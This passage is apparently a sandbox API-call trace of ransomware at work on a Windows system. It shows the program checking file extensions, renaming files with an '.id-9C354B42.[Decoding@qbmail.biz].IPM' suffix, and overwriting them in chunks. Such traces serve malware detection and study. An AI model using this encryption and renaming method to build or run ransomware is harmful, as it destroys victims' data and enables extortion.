4 [0069.886] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.886] lstrlenW (lpString=".bz2") returned 4 [0069.886] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.886] lstrlenW (lpString=".7z") returned 3 [0069.886] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.886] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.886] lstrlenW (lpString=".dbf") returned 4 [0069.886] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.886] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.886] lstrlenW (lpString=".1cd") returned 4 [0069.886] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.886] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.886] lstrlenW (lpString=".jpg") returned 4 [0069.887] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.887] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.887] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.887] lstrlenW (lpString=".doc") returned 4 [0069.887] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.887] lstrlenW (lpString=".docx") returned 5 [0069.887] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.887] lstrlenW (lpString=".pdf") returned 4 [0069.887] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.887] lstrlenW (lpString=".xls") returned 4 [0069.887] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.887] lstrlenW (lpString=".xlsx") returned 5 [0069.887] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.887] lstrlenW (lpString=".ppt") returned 4 [0069.887] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.887] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.887] lstrlenW (lpString=".zip") returned 4 [0069.887] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.887] lstrlenW (lpString=".rar") returned 4 [0069.887] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.887] lstrlenW (lpString=".bz2") returned 4 [0069.888] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.888] lstrlenW (lpString=".7z") returned 3 [0069.888] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.888] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.888] lstrlenW (lpString=".dbf") returned 4 [0069.888] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.888] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.888] lstrlenW (lpString=".1cd") returned 4 [0069.888] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.888] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.888] lstrlenW (lpString=".jpg") returned 4 [0069.888] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.888] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.888] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.888] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.889] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=90176) returned 1 [0069.889] CloseHandle (hObject=0x1bc) returned 1 [0069.889] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0069.889] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.889] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.889] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.889] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.889] lstrlenW (lpString=".doc") returned 4 [0069.889] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.889] lstrlenW (lpString=".docx") returned 5 [0069.889] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.889] lstrlenW (lpString=".pdf") returned 4 [0069.889] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.889] lstrlenW (lpString=".xls") returned 4 [0069.889] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.889] lstrlenW (lpString=".xlsx") returned 5 [0069.889] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.889] lstrlenW (lpString=".ppt") returned 4 [0069.889] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.890] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.890] lstrlenW (lpString=".zip") returned 4 [0069.890] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.890] lstrlenW (lpString=".rar") returned 4 [0069.890] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.890] lstrlenW (lpString=".bz2") returned 4 [0069.890] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.890] lstrlenW (lpString=".7z") returned 3 [0069.890] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.890] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.890] lstrlenW (lpString=".dbf") returned 4 [0069.890] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.890] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.890] lstrlenW (lpString=".1cd") returned 4 [0069.890] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.890] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.890] lstrlenW (lpString=".jpg") returned 4 [0069.890] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.890] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.890] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.890] lstrlenW (lpString=".doc") returned 4 [0069.890] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.890] lstrlenW (lpString=".docx") returned 5 [0069.890] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.891] lstrlenW (lpString=".pdf") returned 4 [0069.891] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.891] lstrlenW (lpString=".xls") returned 4 [0069.891] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.891] lstrlenW (lpString=".xlsx") returned 5 [0069.891] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.891] lstrlenW (lpString=".ppt") returned 4 [0069.891] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.891] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.891] lstrlenW (lpString=".zip") returned 4 [0069.891] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.891] lstrlenW (lpString=".rar") returned 4 [0069.891] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.891] lstrlenW (lpString=".bz2") returned 4 [0069.891] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.891] lstrlenW (lpString=".7z") returned 3 [0069.891] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.891] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.891] lstrlenW (lpString=".dbf") returned 4 [0069.891] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.892] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.892] lstrlenW (lpString=".1cd") returned 4 [0069.892] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.892] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0069.892] lstrlenW (lpString=".jpg") returned 4 [0069.892] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.892] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.892] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.892] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.893] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=89664) returned 1 [0069.893] CloseHandle (hObject=0x1bc) returned 1 [0069.893] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0069.893] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.893] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.893] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.893] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.893] lstrlenW (lpString=".doc") returned 4 [0069.893] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.893] lstrlenW (lpString=".docx") returned 5 [0069.893] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.894] lstrlenW (lpString=".pdf") returned 4 [0069.894] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.894] lstrlenW (lpString=".xls") returned 4 [0069.894] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.894] lstrlenW (lpString=".xlsx") returned 5 [0069.894] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.894] lstrlenW (lpString=".ppt") returned 4 [0069.894] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.894] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.894] lstrlenW (lpString=".zip") returned 4 [0069.894] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.894] lstrlenW (lpString=".rar") returned 4 [0069.894] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.894] lstrlenW (lpString=".bz2") returned 4 [0069.894] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.894] lstrlenW (lpString=".7z") returned 3 [0069.895] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.895] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.895] lstrlenW (lpString=".dbf") returned 4 [0069.895] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.895] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.895] lstrlenW (lpString=".1cd") returned 4 [0069.895] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.895] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.895] lstrlenW (lpString=".jpg") returned 4 [0069.895] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.895] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.895] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.895] lstrlenW (lpString=".doc") returned 4 [0069.895] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.895] lstrlenW (lpString=".docx") returned 5 [0069.896] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.896] lstrlenW (lpString=".pdf") returned 4 [0069.896] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.896] lstrlenW (lpString=".xls") returned 4 [0069.896] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.896] lstrlenW (lpString=".xlsx") returned 5 [0069.896] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.896] lstrlenW (lpString=".ppt") returned 4 [0069.896] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.896] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.896] lstrlenW (lpString=".zip") returned 4 [0069.896] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.896] lstrlenW (lpString=".rar") returned 4 [0069.896] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.896] lstrlenW (lpString=".bz2") returned 4 [0069.896] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.896] lstrlenW (lpString=".7z") returned 3 [0069.897] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.897] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.897] lstrlenW (lpString=".dbf") returned 4 [0069.897] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.897] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.897] lstrlenW (lpString=".1cd") returned 4 [0069.897] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.897] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0069.897] lstrlenW (lpString=".jpg") returned 4 [0069.897] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.897] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.898] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.898] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.898] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=90192) returned 1 [0069.898] CloseHandle (hObject=0x1bc) returned 1 [0069.898] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0069.898] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.898] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.899] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0069.899] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0069.899] lstrlenW (lpString=".doc") returned 4 [0069.899] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.899] lstrlenW (lpString=".docx") returned 5 [0069.899] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.899] lstrlenW (lpString=".pdf") returned 4 [0069.899] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.899] lstrlenW (lpString=".xls") returned 4 [0069.899] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.899] lstrlenW (lpString=".xlsx") returned 5 [0069.899] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.899] lstrlenW (lpString=".ppt") returned 4 [0069.899] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.899] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0069.899] lstrlenW (lpString=".zip") returned 4 [0069.899] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.899] lstrlenW (lpString=".rar") returned 4 [0069.900] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.900] lstrlenW (lpString=".bz2") returned 4 [0069.900] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.900] lstrlenW (lpString=".7z") returned 3 [0069.900] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0070.102] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0070.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0070.103] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0070.103] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.103] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a70058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.297] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.298] ReadFile (in: hFile=0x1cc, lpBuffer=0x3ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ab0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.812] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.812] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.812] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3af0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.845] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.845] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0071.115] SetEndOfFile (hFile=0x1cc) returned 1 [0071.116] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f23fe0 [0071.412] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.412] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.415] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.415] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.428] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.428] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.436] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe0 | out: hHeap=0x5d0000) returned 1 [0071.436] CloseHandle (hObject=0x1cc) returned 1 [0073.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.916] lstrlenW (lpString=".doc") returned 4 [0073.916] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.917] lstrlenW (lpString=".docx") returned 5 [0073.917] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.917] lstrlenW (lpString=".pdf") returned 4 [0073.917] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.917] lstrlenW (lpString=".xls") returned 4 [0073.917] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.917] lstrlenW (lpString=".xlsx") returned 5 [0073.917] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.917] lstrlenW (lpString=".ppt") returned 4 [0073.917] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.917] lstrlenW (lpString=".zip") returned 4 [0073.917] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.917] lstrlenW (lpString=".rar") returned 4 [0073.917] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.918] lstrlenW (lpString=".bz2") returned 4 [0073.918] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.918] lstrlenW (lpString=".7z") returned 3 [0073.918] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.918] lstrlenW (lpString=".dbf") returned 4 [0073.918] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.918] lstrlenW (lpString=".1cd") returned 4 [0073.918] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.918] lstrlenW (lpString=".jpg") returned 4 [0073.918] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.918] lstrlenW (lpString=".doc") returned 4 [0073.918] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.918] lstrlenW (lpString=".docx") returned 5 [0073.918] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.919] lstrlenW (lpString=".pdf") returned 4 [0073.919] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.919] lstrlenW (lpString=".xls") returned 4 [0073.919] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.919] lstrlenW (lpString=".xlsx") returned 5 [0073.919] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.919] lstrlenW (lpString=".ppt") returned 4 [0073.919] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.919] lstrlenW (lpString=".zip") returned 4 [0073.919] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.919] lstrlenW (lpString=".rar") returned 4 [0073.919] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.919] lstrlenW (lpString=".bz2") returned 4 [0073.919] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.919] lstrlenW (lpString=".7z") returned 3 [0073.919] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.919] lstrlenW (lpString=".dbf") returned 4 [0073.920] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.920] lstrlenW (lpString=".1cd") returned 4 [0073.920] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0073.920] lstrlenW (lpString=".jpg") returned 4 [0073.920] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.920] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0073.920] lstrlenW (lpString="PubLR.cab") returned 9 [0073.920] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 